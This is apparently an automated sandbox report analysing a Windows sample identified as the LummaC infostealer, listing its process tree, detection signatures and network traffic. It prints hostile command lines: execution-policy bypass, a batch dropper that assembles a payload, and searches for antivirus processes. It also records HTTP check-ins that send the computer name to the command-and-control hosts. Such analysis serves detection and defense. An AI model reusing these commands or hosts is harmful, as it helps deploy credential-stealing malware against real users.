Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
NativeApp_G5L1NHZZ.exe

Overview

General Information

Sample name:NativeApp_G5L1NHZZ.exe
Analysis ID:1577286
MD5:d1d6a581049df18ac3b675230e04311b
SHA1:93cca2d736bdcc73f6792901c029bb2ce686d8a0
SHA256:380920dfcdec5d7704ad1af1ce35feba7c3af1b68ffa4588b734647f28eeabb7
Infos:

Detection

LummaC Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Search for Antivirus process
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Bypasses PowerShell execution policy
Drops PE files with a suspicious file extension
Drops large PE files
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Abnormal high CPU Usage
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Drops PE files
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Console CodePage Lookup Via CHCP
Sigma detected: Suspicious Copy From or To System Directory
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • NativeApp_G5L1NHZZ.exe (PID: 5548 cmdline: "C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe" MD5: D1D6A581049DF18AC3B675230E04311B)
    • ProtonEditor.exe (PID: 4072 cmdline: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe MD5: 1CD5781EFBCF327826A48CD866800010)
      • cmd.exe (PID: 5900 cmdline: C:\Windows\system32\cmd.exe /d /s /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 5640 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)
      • ProtonEditor.exe (PID: 5228 cmdline: "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1832 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 1CD5781EFBCF327826A48CD866800010)
      • ProtonEditor.exe (PID: 3948 cmdline: "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 1CD5781EFBCF327826A48CD866800010)
      • cmd.exe (PID: 1864 cmdline: C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5840 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5460 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4416 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7528 cmdline: C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • findstr.exe (PID: 7576 cmdline: findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
      • powershell.exe (PID: 7592 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7600 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7628 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7644 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7656 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7672 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7688 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7264 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7612 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8164 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7972 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8176 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 744 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7800 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7700 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8060 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7652 cmdline: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • CnnCylinder.exe (PID: 7800 cmdline: "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe" MD5: 64488E190C4A6A5A693CF0CE5A5516A2)
          • cmd.exe (PID: 8044 cmdline: "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • tasklist.exe (PID: 7872 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 7620 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • tasklist.exe (PID: 8156 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 6608 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 7700 cmdline: cmd /c md 69564 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • findstr.exe (PID: 7900 cmdline: findstr /V "custodymatchesfacingzope" Ec MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 8024 cmdline: cmd /c copy /b ..\Flow + ..\Payable + ..\Qualifications + ..\Particular + ..\Generous + ..\Conclusions + ..\Bleeding X MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • Style.com (PID: 8004 cmdline: Style.com X MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)
              • Style.com (PID: 8184 cmdline: C:\Users\user\AppData\Local\Temp\69564\Style.com MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)
            • choice.exe (PID: 7948 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
      • cmd.exe (PID: 5480 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 8104 cmdline: powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • ProtonEditor.exe (PID: 7728 cmdline: "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1104 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 1CD5781EFBCF327826A48CD866800010)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: Script Interpreter Execution From Suspicious Folder
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"", CommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe, ParentProcessId: 4072, ParentProcessName: ProtonEditor.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"", ProcessId: 5480, ProcessName: cmd.exe
    Sigma detected: Suspicious Script Execution From Temp Folder
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1", CommandLine: powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5480, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1", ProcessId: 8104, ProcessName: powershell.exe
    Sigma detected: Change PowerShell Policies to an Insecure Level
    Source: Process startedAuthor: frack113: Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe, ParentProcessId: 4072, ParentProcessName: ProtonEditor.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 5840, ProcessName: powershell.exe
    Sigma detected: Console CodePage Lookup Via CHCP
    Source: Process startedAuthor: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5900, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 5640, ProcessName: chcp.com
    Sigma detected: Suspicious Copy From or To System Directory
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe", ParentImage: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe, ParentProcessId: 7800, ParentProcessName: CnnCylinder.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd, ProcessId: 8044, ProcessName: cmd.exe
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe, ParentProcessId: 4072, ParentProcessName: ProtonEditor.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 5840, ProcessName: powershell.exe

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Sigma detected: Search for Antivirus process
    Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8044, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 6608, ProcessName: findstr.exe

    Suricata Signatures

    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-12-18T11:06:46.911948+010020283713Unknown Traffic192.168.2.549989172.67.146.77443TCP
    2024-12-18T11:06:49.328541+010020283713Unknown Traffic192.168.2.549990172.67.146.77443TCP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-12-18T11:06:48.872966+010020546531A Network Trojan was detected192.168.2.549989172.67.146.77443TCP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-12-18T11:06:48.872966+010020498361A Network Trojan was detected192.168.2.549989172.67.146.77443TCP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-12-18T11:05:52.599221+010028032742Potentially Bad Traffic192.168.2.549969185.117.73.24680TCP

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Multi AV Scanner detection for dropped file
    Source: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exeReversingLabs: Detection: 70%
    Multi AV Scanner detection for submitted file
    Source: NativeApp_G5L1NHZZ.exeVirustotal: Detection: 20%Perma Link
    Source: NativeApp_G5L1NHZZ.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\LICENSE.electron.txtJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\LICENSE.electron.txtJump to behavior
    Source: unknownHTTPS traffic detected: 172.67.146.77:443 -> 192.168.2.5:49989 version: TLS 1.2
    Source: NativeApp_G5L1NHZZ.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
    Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
    Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\app-64.7zJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resourcesJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\userJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\localesJump to behavior

    Networking

    barindex
    Suricata IDS alerts for network traffic
    Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49989 -> 172.67.146.77:443
    Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49989 -> 172.67.146.77:443
    Source: Joe Sandbox ViewIP Address: 172.64.41.3 172.64.41.3
    Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
    Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49990 -> 172.67.146.77:443
    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49989 -> 172.67.146.77:443
    Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49969 -> 185.117.73.246:80
    Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: luckersmk.help
    Source: global trafficHTTP traffic detected: GET /incall.php?compName=user-PC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36Host: keikochio.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /cgi-sys/suspendedpage.cgi?compName=user-PC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36Host: keikochio.com
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
